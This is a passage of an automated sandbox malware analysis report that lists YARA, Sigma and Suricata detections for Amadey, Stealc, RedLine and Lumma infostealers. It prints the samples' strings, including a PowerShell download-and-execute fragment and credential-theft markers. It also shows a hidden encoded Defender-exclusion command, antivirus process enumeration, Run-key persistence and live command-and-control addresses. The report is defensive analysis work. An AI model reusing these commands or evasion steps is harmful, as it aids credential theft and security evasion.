D67333042BFFC20116BF01BC556566EC76C6F7E2 0x465e9:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0x1fb98:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0x45fc0:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60
10.0.am209.exe.120000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
10.2.am209.exe.120000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
11.0.defnur.exe.780000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
33.2.defnur.exe.780000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
23.0.daw21.exe.b80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
23.0.daw21.exe.b80000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x33dd0:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x33f28:$str02: Azure\.IdentityService 0x33f4c:$str03: steam_tokens.txt 0x33be0:$str04: "encrypted_key":" 0x33d08:$str05: prefs.js 0x33d80:$str06: browser: FileZilla 0x33d94:$str07: profile: null 0x33da4:$str08: url: 0x33dac:$str09: login: 0x33db4:$str10: password:
1.2.fkawMJ7FH8.exe.bf0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
45.2.I0XmI2t.exe.2b50dd4e5a8.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
45.2.I0XmI2t.exe.2b50dd4e5a8.3.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x22ec3:$gen01: ChromeGetRoamingName 0x22ee8:$gen02: ChromeGetLocalName 0x22f2b:$gen03: get_UserDomainName 0x26dc4:$gen04: get_encrypted_key 0x25b43:$gen05: browserPaths 0x25e19:$gen06: GetBrowsers 0x25701:$gen07: get_InstalledInputLanguages 0x21bcc:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x1218:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x27206:$spe7: OFileInfopeFileInfora GFileInfoX StabFileInfole 0x272a4:$spe8: ApGenericpDaGenericta\RGenericoamiGenericng\ 0x2792a:$spe9: wallet 0x1fbea:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0x20114:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0x201c1:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0x1fb98:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0x1fbc1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0x1fd92:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0x1ffe5:$typ11: 2A19BFD7333718195216588A698752C517111B02 0x202d4:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
45.2.I0XmI2t.exe.2b50dcfe590.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
45.2.I0XmI2t.exe.2b50dcfe590.2.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x22ec3:$gen01: ChromeGetRoamingName 0x22ee8:$gen02: ChromeGetLocalName 0x22f2b:$gen03: get_UserDomainName 0x26dc4:$gen04: get_encrypted_key 0x25b43:$gen05: browserPaths 0x25e19:$gen06: GetBrowsers 0x25701:$gen07: get_InstalledInputLanguages 0x21bcc:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x1218:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x27206:$spe7: OFileInfopeFileInfora GFileInfoX StabFileInfole 0x272a4:$spe8: ApGenericpDaGenericta\RGenericoamiGenericng\ 0x2792a:$spe9: wallet 0x1fbea:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0x20114:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0x201c1:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0x1fb98:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0x1fbc1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0x1fd92:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0x1ffe5:$typ11: 2A19BFD7333718195216588A698752C517111B02 0x202d4:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
23.2.daw21.exe.b80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
23.2.daw21.exe.b80000.0.unpack	infostealer_win_stealc_str_oct24	Finds Stealc standalone samples (or dumps) based on the strings	Sekoia.io	0x33dd0:$str01: -nop -c "iex(New-Object Net.WebClient).DownloadString( 0x33f28:$str02: Azure\.IdentityService 0x33f4c:$str03: steam_tokens.txt 0x33be0:$str04: "encrypted_key":" 0x33d08:$str05: prefs.js 0x33d80:$str06: browser: FileZilla 0x33d94:$str07: profile: null 0x33da4:$str08: url: 0x33dac:$str09: login: 0x33db4:$str10: password:
45.2.I0XmI2t.exe.2b50dcfe590.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
45.2.I0XmI2t.exe.2b50dcfe590.2.raw.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x24cc3:$gen01: ChromeGetRoamingName 0x24ce8:$gen02: ChromeGetLocalName 0x24d2b:$gen03: get_UserDomainName 0x28bc4:$gen04: get_encrypted_key 0x27943:$gen05: browserPaths 0x27c19:$gen06: GetBrowsers 0x27501:$gen07: get_InstalledInputLanguages 0x239cc:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x3018:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x29006:$spe7: OFileInfopeFileInfora GFileInfoX StabFileInfole 0x290a4:$spe8: ApGenericpDaGenericta\RGenericoamiGenericng\ 0x2972a:$spe9: wallet 0x219ea:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0x21f14:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0x21fc1:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0x21998:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0x219c1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0x21b92:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0x21de5:$typ11: 2A19BFD7333718195216588A698752C517111B02 0x220d4:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
45.2.I0XmI2t.exe.2b50d812478.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
11.2.defnur.exe.780000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
33.0.defnur.exe.780000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
2.2.axplong.exe.530000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.axplong.exe.530000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
41.2.skotes.exe.d90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
30.2.aec9ffe5ce.exe.130000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 23 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe, ProcessId: 3236, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\24adfe999c.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA==, CommandLine: "powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA==, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe, ParentProcessId: 7116, ParentProcessName: I0XmI2t.exe, ProcessCommandLine: "powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA==, ProcessId: 6808, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe, ProcessId: 3236, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\24adfe999c.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA==, CommandLine: "powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA==, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe, ParentProcessId: 7116, ParentProcessName: I0XmI2t.exe, ProcessCommandLine: "powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA==, ProcessId: 6808, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA==, CommandLine: "powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA==, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe, ParentProcessId: 7116, ParentProcessName: I0XmI2t.exe, ProcessCommandLine: "powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA==, ProcessId: 6808, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Campbell Campbell.cmd & Campbell.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5252, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 3468, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:15.703049+0100	2028371	3	Unknown Traffic	192.168.2.9	49712	172.67.209.202	443	TCP
2024-12-23T17:16:17.696725+0100	2028371	3	Unknown Traffic	192.168.2.9	49713	172.67.209.202	443	TCP
2024-12-23T17:16:20.397458+0100	2028371	3	Unknown Traffic	192.168.2.9	49715	172.67.209.202	443	TCP
2024-12-23T17:16:22.862638+0100	2028371	3	Unknown Traffic	192.168.2.9	49717	172.67.209.202	443	TCP
2024-12-23T17:16:25.689063+0100	2028371	3	Unknown Traffic	192.168.2.9	49719	172.67.209.202	443	TCP
2024-12-23T17:16:25.992116+0100	2028371	3	Unknown Traffic	192.168.2.9	49720	104.121.10.34	443	TCP
2024-12-23T17:16:28.879970+0100	2028371	3	Unknown Traffic	192.168.2.9	49721	172.67.157.254	443	TCP
2024-12-23T17:16:29.088147+0100	2028371	3	Unknown Traffic	192.168.2.9	49722	172.67.209.202	443	TCP
2024-12-23T17:16:29.919505+0100	2028371	3	Unknown Traffic	192.168.2.9	49724	172.67.157.254	443	TCP
2024-12-23T17:16:33.040296+0100	2028371	3	Unknown Traffic	192.168.2.9	49725	172.67.209.202	443	TCP
2024-12-23T17:16:39.163104+0100	2028371	3	Unknown Traffic	192.168.2.9	49729	172.67.209.202	443	TCP
2024-12-23T17:18:04.544994+0100	2028371	3	Unknown Traffic	192.168.2.9	49797	104.21.30.13	443	TCP
2024-12-23T17:18:06.775337+0100	2028371	3	Unknown Traffic	192.168.2.9	49800	104.21.30.13	443	TCP
2024-12-23T17:18:17.754177+0100	2028371	3	Unknown Traffic	192.168.2.9	49811	104.21.30.13	443	TCP
2024-12-23T17:18:20.471731+0100	2028371	3	Unknown Traffic	192.168.2.9	49817	104.21.30.13	443	TCP
2024-12-23T17:18:23.350932+0100	2028371	3	Unknown Traffic	192.168.2.9	49823	104.21.30.13	443	TCP
2024-12-23T17:18:25.013164+0100	2028371	3	Unknown Traffic	192.168.2.9	49824	172.67.209.202	443	TCP
2024-12-23T17:18:26.593376+0100	2028371	3	Unknown Traffic	192.168.2.9	49829	104.21.30.13	443	TCP
2024-12-23T17:18:27.710130+0100	2028371	3	Unknown Traffic	192.168.2.9	49830	172.67.209.202	443	TCP
2024-12-23T17:18:28.190414+0100	2028371	3	Unknown Traffic	192.168.2.9	49831	172.67.180.113	443	TCP
2024-12-23T17:18:33.075947+0100	2028371	3	Unknown Traffic	192.168.2.9	49838	104.21.30.13	443	TCP
2024-12-23T17:18:34.088651+0100	2028371	3	Unknown Traffic	192.168.2.9	49843	172.67.180.113	443	TCP
2024-12-23T17:18:34.276955+0100	2028371	3	Unknown Traffic	192.168.2.9	49844	172.67.209.202	443	TCP
2024-12-23T17:18:37.099336+0100	2028371	3	Unknown Traffic	192.168.2.9	49847	104.21.30.13	443	TCP
2024-12-23T17:18:37.146292+0100	2028371	3	Unknown Traffic	192.168.2.9	49849	172.67.209.202	443	TCP
2024-12-23T17:18:39.601173+0100	2028371	3	Unknown Traffic	192.168.2.9	49853	172.67.209.202	443	TCP
2024-12-23T17:18:42.098744+0100	2028371	3	Unknown Traffic	192.168.2.9	49857	172.67.180.113	443	TCP
2024-12-23T17:18:42.152528+0100	2028371	3	Unknown Traffic	192.168.2.9	49858	172.67.209.202	443	TCP
2024-12-23T17:18:45.057167+0100	2028371	3	Unknown Traffic	192.168.2.9	49862	172.67.180.113	443	TCP
2024-12-23T17:18:46.551110+0100	2028371	3	Unknown Traffic	192.168.2.9	49867	172.67.209.202	443	TCP
2024-12-23T17:18:47.246430+0100	2028371	3	Unknown Traffic	192.168.2.9	49870	172.67.180.113	443	TCP
2024-12-23T17:18:49.869430+0100	2028371	3	Unknown Traffic	192.168.2.9	49874	172.67.180.113	443	TCP
2024-12-23T17:18:52.402160+0100	2028371	3	Unknown Traffic	192.168.2.9	49880	172.67.180.113	443	TCP
2024-12-23T17:18:52.628427+0100	2028371	3	Unknown Traffic	192.168.2.9	49882	172.67.209.202	443	TCP
2024-12-23T17:18:56.121463+0100	2028371	3	Unknown Traffic	192.168.2.9	49889	172.67.180.113	443	TCP
2024-12-23T17:19:01.240104+0100	2028371	3	Unknown Traffic	192.168.2.9	49907	104.21.63.229	443	TCP
2024-12-23T17:19:03.337945+0100	2028371	3	Unknown Traffic	192.168.2.9	49914	104.21.63.229	443	TCP
2024-12-23T17:19:09.485980+0100	2028371	3	Unknown Traffic	192.168.2.9	49936	104.21.63.229	443	TCP
2024-12-23T17:19:12.548331+0100	2028371	3	Unknown Traffic	192.168.2.9	49943	104.21.63.229	443	TCP
2024-12-23T17:19:18.865280+0100	2028371	3	Unknown Traffic	192.168.2.9	49964	104.21.63.229	443	TCP
2024-12-23T17:19:26.079049+0100	2028371	3	Unknown Traffic	192.168.2.9	49982	104.21.63.229	443	TCP

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:36.615959+0100	2028765	3	Unknown Traffic	192.168.2.9	49726	135.181.65.216	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:16.446096+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49712	172.67.209.202	443	TCP
2024-12-23T17:16:18.471551+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49713	172.67.209.202	443	TCP
2024-12-23T17:16:29.636421+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49721	172.67.157.254	443	TCP
2024-12-23T17:16:39.958233+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49729	172.67.209.202	443	TCP
2024-12-23T17:18:05.279002+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49797	104.21.30.13	443	TCP
2024-12-23T17:18:07.805208+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49800	104.21.30.13	443	TCP
2024-12-23T17:18:25.903387+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49824	172.67.209.202	443	TCP
2024-12-23T17:18:29.070691+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49830	172.67.209.202	443	TCP
2024-12-23T17:18:32.517783+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49831	172.67.180.113	443	TCP
2024-12-23T17:18:34.875260+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49843	172.67.180.113	443	TCP
2024-12-23T17:18:37.861047+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49847	104.21.30.13	443	TCP
2024-12-23T17:18:53.750057+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49882	172.67.209.202	443	TCP
2024-12-23T17:18:56.886179+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49889	172.67.180.113	443	TCP
2024-12-23T17:19:02.033799+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49907	104.21.63.229	443	TCP
2024-12-23T17:19:04.241234+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49914	104.21.63.229	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:16.446096+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49712	172.67.209.202	443	TCP
2024-12-23T17:16:29.636421+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49721	172.67.157.254	443	TCP
2024-12-23T17:18:05.279002+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49797	104.21.30.13	443	TCP
2024-12-23T17:18:25.903387+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49824	172.67.209.202	443	TCP
2024-12-23T17:18:32.517783+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49831	172.67.180.113	443	TCP
2024-12-23T17:19:02.033799+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49907	104.21.63.229	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:18.471551+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49713	172.67.209.202	443	TCP
2024-12-23T17:18:07.805208+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49800	104.21.30.13	443	TCP
2024-12-23T17:18:29.070691+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49830	172.67.209.202	443	TCP
2024-12-23T17:18:34.875260+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49843	172.67.180.113	443	TCP
2024-12-23T17:19:04.241234+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49914	104.21.63.229	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:15.703049+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49712	172.67.209.202	443	TCP
2024-12-23T17:16:17.696725+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49713	172.67.209.202	443	TCP
2024-12-23T17:16:20.397458+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49715	172.67.209.202	443	TCP
2024-12-23T17:16:22.862638+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49717	172.67.209.202	443	TCP
2024-12-23T17:16:25.689063+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49719	172.67.209.202	443	TCP
2024-12-23T17:16:29.088147+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49722	172.67.209.202	443	TCP
2024-12-23T17:16:33.040296+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49725	172.67.209.202	443	TCP
2024-12-23T17:16:39.163104+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49729	172.67.209.202	443	TCP
2024-12-23T17:18:25.013164+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49824	172.67.209.202	443	TCP
2024-12-23T17:18:27.710130+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49830	172.67.209.202	443	TCP
2024-12-23T17:18:34.276955+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49844	172.67.209.202	443	TCP
2024-12-23T17:18:37.146292+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49849	172.67.209.202	443	TCP
2024-12-23T17:18:39.601173+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49853	172.67.209.202	443	TCP
2024-12-23T17:18:42.152528+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49858	172.67.209.202	443	TCP
2024-12-23T17:18:46.551110+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49867	172.67.209.202	443	TCP
2024-12-23T17:18:52.628427+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.9	49882	172.67.209.202	443	TCP

ET MALWARE Redline Stealer TCP CnC - Id1Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:19:19.034155+0100	2043234	1	A Network Trojan was detected	147.45.44.224	1912	192.168.2.9	49963	TCP

ET MALWARE Redline Stealer TCP CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:19:18.631484+0100	2043231	1	A Network Trojan was detected	192.168.2.9	49963	147.45.44.224	1912	TCP
2024-12-23T17:19:24.921830+0100	2043231	1	A Network Trojan was detected	192.168.2.9	49963	147.45.44.224	1912	TCP
2024-12-23T17:19:29.361258+0100	2043231	1	A Network Trojan was detected	192.168.2.9	49963	147.45.44.224	1912	TCP
2024-12-23T17:19:29.916671+0100	2043231	1	A Network Trojan was detected	192.168.2.9	49963	147.45.44.224	1912	TCP

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:19:27.937844+0100	2046056	1	A Network Trojan was detected	147.45.44.224	1912	192.168.2.9	49963	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:16:10.938673+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49709	185.215.113.16	80	TCP
2024-12-23T17:16:15.000190+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49711	185.215.113.16	80	TCP
2024-12-23T17:16:19.227289+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49714	185.215.113.16	80	TCP
2024-12-23T17:16:29.998216+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49723	185.215.113.16	80	TCP
2024-12-23T17:16:33.722208+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49727	185.215.113.16	80	TCP
2024-12-23T17:16:41.151819+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49730	185.215.113.16	80	TCP
2024-12-23T17:16:51.529332+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49732	185.215.113.16	80	TCP
2024-12-23T17:17:00.563665+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49734	185.215.113.16	80	TCP
2024-12-23T17:17:12.729524+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49738	185.215.113.16	80	TCP
2024-12-23T17:17:58.536086+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49790	185.215.113.43	80	TCP
2024-12-23T17:18:09.344249+0100	2044696	1	A Network Trojan was detected	192.168.2.9	49802	185.215.113.43	80	TCP
